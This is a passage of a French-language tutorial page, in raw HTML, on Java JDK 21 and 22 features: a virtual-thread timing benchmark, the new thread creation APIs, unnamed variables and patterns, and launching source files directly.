&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Elapsed time : &amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;after&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;before&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;

&lt;span class="c1"&gt;// threads OS (with pool of 100 threads)&lt;/span&gt;
&lt;span class="n"&gt;before&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;currentTimeMillis&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;executor&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Executors&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;newFixedThreadPool&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;IntStream&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="na"&gt;forEach&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;executor&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;submit&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;Thread&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Duration&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;ofSeconds&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="n"&gt;after&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;currentTimeMillis&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Elapsed time : &amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;after&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;before&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
Pour rappel, même si ça se fait peu, un &lt;code&gt;try&lt;/code&gt; peut ne pas être accompagné d&amp;rsquo;un &lt;code&gt;catch&lt;/code&gt;. Dans ce cas, si un exception survient, les ressources seront fermées (autant que possible) et… c&amp;rsquo;est tout. &lt;/p&gt;
&lt;p&gt;Voici les différences en fonction des valeurs de &lt;code&gt;n&lt;/code&gt; (c&amp;rsquo;est bien un ordre de grandeur) : &lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;n&lt;/th&gt;
&lt;th&gt;Virtual thread&lt;/th&gt;
&lt;th&gt;Thread OS (1/task)&lt;/th&gt;
&lt;th&gt;Thread OS (with pool)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;10&lt;/td&gt;
&lt;td&gt;1 066 ms&lt;/td&gt;
&lt;td&gt;1 007 ms&lt;/td&gt;
&lt;td&gt;1 004 ms&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;100&lt;/td&gt;
&lt;td&gt;1 005 ms&lt;/td&gt;
&lt;td&gt;1 026 ms&lt;/td&gt;
&lt;td&gt;1 019 ms&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1_000&lt;/td&gt;
&lt;td&gt;1 048 ms&lt;/td&gt;
&lt;td&gt;2 246 ms&lt;/td&gt;
&lt;td&gt;10 024 ms&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;10_000&lt;/td&gt;
&lt;td&gt;1 353 ms&lt;/td&gt;
&lt;td&gt;7 263 ms&lt;/td&gt;
&lt;td&gt;101 015 ms&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;100_000&lt;/td&gt;
&lt;td&gt;1 568 ms&lt;/td&gt;
&lt;td&gt;35 276 ms&lt;/td&gt;
&lt;td&gt;1 000 426 ms (± 17 min)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;em&gt;Y a pas photo.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Pour conclure, &lt;em&gt;the new way&lt;/em&gt; pour créer un thread est : &lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;t1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Thread&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;ofPlatform&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;start&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Platform thread&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;t2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Thread&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;ofVirtual&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;start&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Virtual thread&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;t3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Thread&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;startVirtualThread&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Virtual thread (other way)&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;t4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Thread&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;ofPlatform&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;daemon&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;start&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Platform thread (dæmon)&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;(Déclarer les variables permet de faire un &lt;code&gt;join()&lt;/code&gt; ensuite)&lt;/p&gt;
&lt;p&gt;Pour aller plus loin (et retrouver ces exemples), consulter &lt;a href="https://openjdk.org/jeps/444"&gt;JEP 444&lt;/a&gt;. &lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Éléments non abordés&lt;/strong&gt; &lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://openjdk.org/jeps/439"&gt;JEP 439&lt;/a&gt; Optimisation du &lt;em&gt;garbage collector&lt;/em&gt;, &lt;/li&gt;
&lt;li&gt;&lt;a href="https://openjdk.org/jeps/452"&gt;JEP 452&lt;/a&gt; &lt;em&gt;Key Encapsulation Mechanism API&lt;/em&gt; relatif à la cryptographie&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;h2&gt;JDK 22&lt;/h2&gt;
&lt;p&gt;Et l&amp;rsquo;on revient dans un JDK qui n&amp;rsquo;est pas &lt;em&gt;long term support&lt;/em&gt;. &lt;/p&gt;
&lt;h3&gt;Variables et pattern anonyme &lt;code&gt;_&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;Unnamed variables &amp;amp; patterns&lt;/em&gt; (variables et patterns anonymes) ; lorsqu&amp;rsquo;une déclaration de variable ou d&amp;rsquo;un &lt;em&gt;pattern&lt;/em&gt; imbriqué (&lt;em&gt;nested pattern&lt;/em&gt;) est obligatoire et que la variable ou le &lt;em&gt;pattern&lt;/em&gt; ne sera pas utilisé. On utilise alors &lt;strong&gt;&lt;code&gt;_&lt;/code&gt;&lt;/strong&gt;. &lt;/p&gt;
&lt;p&gt;Par exemple : &lt;/p&gt;
&lt;p&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;static&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;count&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Iterable&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;Order&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;orders&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;total&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Order&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;order&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;orders&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// order is unused&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;total&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;total&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;em&gt;(Exemple de JEP)&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;devient : &lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;static&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;count&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Iterable&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;Order&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;orders&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;total&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;orders&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;total&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;total&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;blockquote&gt;
&lt;p&gt;Une variable anonyme ou un pattern anonyme est déclaré en utilisant le caractère &lt;em&gt;underscore&lt;/em&gt; (barre de soulignement, tiret bas, &lt;strong&gt;&lt;code&gt;_&lt;/code&gt;&lt;/strong&gt;, &lt;code&gt;U+005F&lt;/code&gt;)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Si l&amp;rsquo;on reprend l&amp;rsquo;exemple d&amp;rsquo;un &lt;em&gt;nested record pattern&lt;/em&gt;,&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// As of Java 21&lt;/span&gt;
&lt;span class="kd"&gt;static&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;printColorOfUpperLeftPoint&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Rectangle&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;instanceof&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;Rectangle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ColoredPoint&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Point&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Color&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;span class="w"&gt;                               &lt;/span&gt;&lt;span class="n"&gt;ColoredPoint&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;lr&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;cette exemple peut devenir : &lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// As of Java 22&lt;/span&gt;
&lt;span class="kd"&gt;static&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;printColorOfUpperLeftPoint&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Rectangle&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;instanceof&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;Rectangle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ColoredPoint&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Color&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Pour plus d&amp;rsquo;infos et d&amp;rsquo;exemples voir &lt;a href="https://openjdk.org/jeps/456"&gt;JEP 456&lt;/a&gt; &lt;/p&gt;
&lt;h3&gt;Lancer plusieurs fichiers sources&lt;/h3&gt;
&lt;p&gt;Depuis JDK11, il est possible d&amp;rsquo;écrire &lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Hello&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;static&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Hello&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;et de directement exécuter le code d&amp;rsquo;un &lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;~:$&lt;span class="w"&gt; &lt;/span&gt;java&lt;span class="w"&gt; &lt;/span&gt;Hello.java
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Le fichier est alors compilé, le &lt;em&gt;bytecode&lt;/em&gt; stocké en mémoire et exécuté. À chaque exécution, le code source est recompilé. C&amp;rsquo;est la « méthode à la &lt;em&gt;shebang&lt;/em&gt; ». &lt;/p&gt;
&lt;p&gt;Il est possible d&amp;rsquo;écrire deux classes dans un même fichier. Un peu comme ci-dessous et ça fonctionne bien. &lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Prog&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
